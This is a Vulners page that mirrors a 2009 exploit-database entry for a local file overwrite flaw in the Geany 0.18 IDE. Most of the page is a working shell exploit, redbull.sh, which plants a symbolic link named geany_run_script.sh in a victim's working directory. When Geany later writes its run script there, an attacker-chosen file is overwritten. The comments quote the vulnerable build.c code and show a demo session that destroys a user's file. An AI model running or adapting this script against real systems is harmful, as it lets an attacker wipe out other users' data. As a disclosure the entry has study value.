Lucene search
K

Geany .18 Local File Overwrite

🗓️ 06 Oct 2009 00:00:00Reported by Jeremy BrownType 
zdt
 zdt
🔗 0day.today👁 22 Views

Geany 0.18 Local File Overwrite, vulnerability in Geany 0.18 allows local file overwrite through symbolic link exploi

Code
==============================
Geany .18 Local File Overwrite
==============================


# Title: Geany .18 Local File Overwrite
# CVE-ID: ()
# OSVDB-ID: ()
# Author: Jeremy Brown
# Published: 2009-10-06
# Verified: yes

view source
print?
#!/bin/sh
# redbull.sh
# AKA
# Geany 0.18 Local File Overwrite Exploit
#
# *********************************************************************************************************
# I was checking out some IDEs and decided on Geany. Nice interface, good features, but it doesn't defend
# against symbolic links when writing the run script used for executing files after compiliation.
#
# geany-0.18/src/build.c
#
# LINES 981-1010
#
# static gboolean build_create_shellscript(const gchar *fname, const gchar *cmd, gboolean autoclose)
# {
#   FILE *fp;
#   gchar *str;
# #ifdef G_OS_WIN32
#   gchar *expanded_cmd;
# #endif
#
#   fp = g_fopen(fname, "w");
#   if (! fp)
#       return FALSE;
# #ifdef G_OS_WIN32
#   /* Expand environment variables like %blah%. */
#   expanded_cmd = win32_expand_environment_variables(cmd);
#   str = g_strdup_printf("%s\n\n%s\ndel \"%%0\"\n\npause\n", expanded_cmd, (autoclose) ? "" : "pause");
#   g_free(expanded_cmd);
# #else
#   str = g_strdup_printf(
#       "#!/bin/sh\n\n%s\n\necho \"\n\n------------------\n(program exited with code: $?)\" \
#       \n\n%s\n", cmd, (autoclose) ? "" :
#       "\necho \"Press return to continue\"\n#to be more compatible with shells like dash\ndummy_var=\"\"\nread dummy_var");
# #endif
#
#   fputs(str, fp);
#   g_free(str);
#
#   fclose(fp);
#
#   return TRUE;
# }
#
# Not a big deal since the script is generated in the working directory that Geany is executing the compiled
# program, but, none the less exploitable if the attacker can create a symbolic link in the working directory.
#
# [email protected]:~$ ls -al important
# -rwx------ 1 linux linux 5 2009-10-06 14:10 important
# [email protected]:~$ cat important
# *data*
# [email protected]:~$
#
# [email protected]:~$ sh redbull.sh /tmp /home/linux/important
#
# Geany 0.18 Local File Overwrite Exploit
#
# [*] Creating symbolic link from /tmp/geany_run_script.sh to /home/linux/important...
#
# [*] /home/linux/important should be overwritten when Geany executes a program in /tmp
#
# [email protected]:~$
#
# ***** Geany executes a program in /tmp *****
#
# [email protected]:~$ cat important
# #!/bin/sh
#
# rm $0
#
# "./c"
#
# echo "
#
# ------------------
# (program exited with code: $?)"      
#
#
# echo "Press return to continue"
# #to be more compatible with shells like dash
# dummy_var=""
# read dummy_var
# [email protected]:~$
#
# Due to an Ubuntu's bug reporting system handler's possible lack of zeal (they argued overwriting the
# instruction pointer in a program when parsing a file format isn't a security issue because the program
# also interepts shell commands), I'm not very excited to try and work with them too much these days...
# *********************************************************************************************************
# redbull.sh
 
FILE=geany_run_script.sh
 
if [ "$2" = "" ]; then
echo
echo "Geany 0.18 Local File Overwrite Exploit"
echo
echo "Usage:   $0 </target/working/dir> <file.to.overwrite>"
echo "Example: $0 /tmp /home/user/important"
echo
exit
fi
 
echo
echo "Geany 0.18 Local File Overwrite Exploit"
echo
echo "[*] Creating symbolic link from $1/$FILE to $2..."
ln -s $2 $1/$FILE
echo
echo "[*] $2 should be overwritten when Geany executes a program in $1"
echo
exit



#  0day.today [2017-12-31]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

06 Oct 2009 00:00Current
6.8Medium risk
Vulners AI Score6.8
22